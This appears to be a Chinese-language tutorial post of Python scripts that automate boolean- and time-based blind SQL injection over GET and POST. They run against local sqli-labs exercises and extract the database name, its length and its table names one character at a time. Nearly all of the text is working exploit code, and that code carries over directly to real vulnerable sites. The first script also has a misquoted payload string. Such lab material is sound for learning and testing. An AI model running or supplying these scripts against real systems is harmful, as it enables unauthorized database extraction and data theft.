sql注入自动化脚本POST和GET型

sql注入python自动化脚本

GET型

python脚本自动化注入bool盲注爆数据库名:

import requests
import time
url = "http://127.0.0.1/sqli-labs-master/Less-5/"
right = "You"
# 注意缩写，python缩写
def database_name():
    name = ''
    for i in range(1,100):
        for j in "abcdefghijklmnopqrstuvwxyz":# 爆flag最好用ascii码，防止漏掉特殊字符
            payload = "?id=1" and substr((select database()),%d,1)='%s'--+"% (i,j) 
            r = requests.get(url + payload)
            if right in r.text:
                name += j
                print(name)
database_name()

python在自动化脚本bool时间盲注爆数据库长度与库名:
关于python时间函数的学习

import datetime
import time
now = datetime.datetime.now() #获取当前的时间
sleep(2)
now1 = datetime.datetime.now() #获取两秒后的时间
sec = (now1-now).seconds
   # sec为2
   # seconds获取的是仅仅是时间差的秒数，忽略微秒数，忽略天数。
   # total_seconds()是获取两个时间之间的总差。
now2 = time.time() #获取当前时间
sleep(2)
now3 = time.time()  # 不能用.seconds，因为这个是float型的

import requests
import time
import datetime
url = "http://127.0.0.1/sqli-labs-master/Less-9/"
def get_database_len():
    for i in range(1,20):
        payload  = "?id=1' and sleep(if(length((select database()))=%d,2,0))--+"% (i)
        start = datetime.datetime.now()
        response = requests.get(url+payload)
        end = datetime.datetime.now()
        tt = (end-start).seconds
        if tt >=2:
            print(i)
            return i
def get_database_name():
    number = get_database_len()
    name = ""
    for i in range(1,number+1): # 这个要加1，不然会少爆出一个字母
        for j in range(32,126):
            payload = "?id=1' and sleep(if(ascii(substr((select database()),%d,1))=%d,2,0))--+"%(i,j)
            start = datetime.datetime.now()
            re = requests.get(url+payload)
            end = datetime.datetime.now()
            ttt = (end - start).seconds # 这个用.seconds使其整数化
            if ttt >=2:
                name += chr(j)
                print(name)
get_database_name()
### 有个缺点，速度太慢，可以进行算法优化

POST

1.延时盲注post型

import datetime
import requests
import time
url = "http://127.0.0.1/sqli-labs-master/Less-13/"
def get_len_database():
    for i in range(1,25):
        payload = "admin') and sleep(if(length((select database()))=%d,3,0))#"%(i)
        data = {"uname":payload, "passwd":"admin", "submit":"submit"}
        start = time.time()
        html = requests.post(url=url, data=data)
        end = time.time() # 这里好像只能同time.time()
        ttt = end-start
        if ttt >=2:
            print(i)
            return i
def get_name_database():
    number = get_len_database()
    name = ""
    for i in range(1,number+1):
        for j in range(30,130):
            payload = "admin') and sleep(if(ascii(substr((select database()),%d,1))=%d,3,0))#"%(i,j)
            data = {"uname":payload,"passwd":"admin","submit":"submit"}
            start = time.time()
            # print(data)
            html = requests.post(url=url, data=data) 
            end = time.time()
            ttt = end - start
            # print(ttt)
            if ttt >= 2:
                name += chr(j)
                print(name)
get_name_database()
# 一定要注意payload不要写错不然查错要查特别久

2.bool盲注post型

import requests
import re
url = "http://127.0.0.1/sqli-labs-master/Less-13/"
def get_len_database():
    for i in range(1,25):
        payload = "admin') and length((select database()))=%d #"%(i)
        data = {"uname":payload, "passwd":"admin", "submit":"submit"}
        html = requests.post(url=url, data=data)
        if "flag.jpg" in html.text:
            print(i)
            return i
def get_name_database():
    number = get_len_database()
    print(number)
    name = ""
    for i in range(1,number+1):
        for j in range(30,130):
            payload = "admin') and ascii(substr((select database()),%d,1))=%d#"%(i,j)
            data = {"uname":payload,"passwd":"admin","submit":"submit"}
            html = requests.post(url=url, data=data)
            if "flag.jpg" in html.text:
                name += chr(j)
                print(name)
                if i == number:
                    return name
                break
def get_name_table():
    name = ""
    result = get_name_database()
    print(result)
    for i in range(1,30):
        for j in range(30,130):
            payload = "admin') and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))=%d#"%(i,j)
            data = {"uname":payload,"passwd":"admin","submit":"submit"}
            html = requests.post(url=url, data=data)
            if "flag.jpg" in html.text:
                name += chr(j)
                print(name)
get_name_table()